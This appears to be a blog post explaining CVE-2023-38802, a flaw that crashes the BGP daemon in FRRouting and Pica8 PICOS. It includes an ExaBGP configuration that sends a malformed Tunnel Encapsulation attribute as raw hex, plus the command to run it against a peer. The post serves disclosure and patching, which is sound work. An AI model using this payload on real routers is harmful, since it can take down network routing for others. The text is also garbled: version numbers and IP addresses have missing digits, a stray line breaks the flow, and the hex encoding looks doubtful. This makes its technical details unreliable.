If you’re running an internet router using FRRouting (FRR) versions 7.5.1 through 9., or using Pica8 PICOS 4.3.3.2, you need to pay attention to CVE-2023-38802. This is a real-world bug that allows anyone on the network to crash your BGP daemon with a single, malicious update. The attack is simple, effective, and no credentials are required.

In this post, I'm going to explain how the vulnerability works, show you a code snippet of a PoC, and link to the best reference sources. All in plain language.

What’s the Bug?

CVE-2023-38802 is a Denial of Service (DoS) vulnerability. In FRRouting FRR (7.5.1 – 9.) and Pica8 PICOS 4.3.3.2, someone can send a specially-crafted BGP UPDATE that includes a corrupted Tunnel Encapsulation Attribute (Type 23). This messes up how the router processes the update and often results in a crash of the BGP process.

The tunnel encapsulation attribute is used to tell routers about different tunnels, like GRE or VXLAN. If you craft this attribute in just the wrong way, the process reading it might hit a bug and die.

Where Is the Flaw?

It’s all about input handling. The BGP code in FRR expects the Tunnel Encapsulation (attr 23) to be well-formed. If the data is bogus—like the tunnel type is outside expected values or the attribute structure is too short—the code crashes, leaving the router unresponsive. That’s a denial of service.

Pica8 PICOS: 4.3.3.2

Other BGP implementations (like Cisco, Juniper, etc) are NOT affected by this exact bug, but always check vendor advisories.

References

- NVD Listing for CVE-2023-38802
- FRR Security Announcement
- Pica8 PICOS Security Advisory

Proof of Concept: Sending a Bad Attribute 23 via ExaBGP

For this demo, we’ll use ExaBGP, a Python-based BGP speaker handy for testing BGP updates.

Warning: Only test this in a lab!

Below is a tiny ExaBGP config (bgpupdate.conf) that sends an update with a broken tunnel encapsulation attribute:

neighbor 192..2.1 {
    router-id 1.1.1.1;
    local-address 1.1.1.1;
    local-as 65001;
    peer-as 65002;

    static {
        route 10.10.10./24 next-hop 1.1.1.1 add-path 1;
        attribute {
            # Tunnel Encapsulation Attr (type 23) is not natively supported by ExaBGP,
            # so we use raw bytes to encode it badly (this is a minimal, malformed attr)
            hex 17 05 03 00 00 00 00;
        }
    }
}

Start ExaBGP

exabgp bgpupdate.conf

If everything is set up and the remote FRR or Pica8 router is running and peered with you, sending this route update can immediately crash the BGP daemon on the target side.

A single update is enough to kill BGP on the victim.

- No code execution is possible—attackers can’t run arbitrary code, only crash BGP process (DoS).

FRR will usually log a backtrace when the bug triggers. You’ll see log lines like

bgpd[NNN]: Terminating on signal 11 (SIGSEGV)

Check your syslog or wherever your routing logs are kept.

Final Thoughts

CVE-2023-38802 shows how a single bad network packet can bring down a key part of your infrastructure if your equipment is not kept up-to-date. If you use FRR or Pica8 PICOS for BGP, patch immediately, limit who you peer with, and always keep an eye on your logs.

For further technical details, dig into the original FRR advisory here.

Timeline

Published on: 08/29/2023 16:15:00 UTC
Last modified on: 09/19/2023 22:15:00 UTC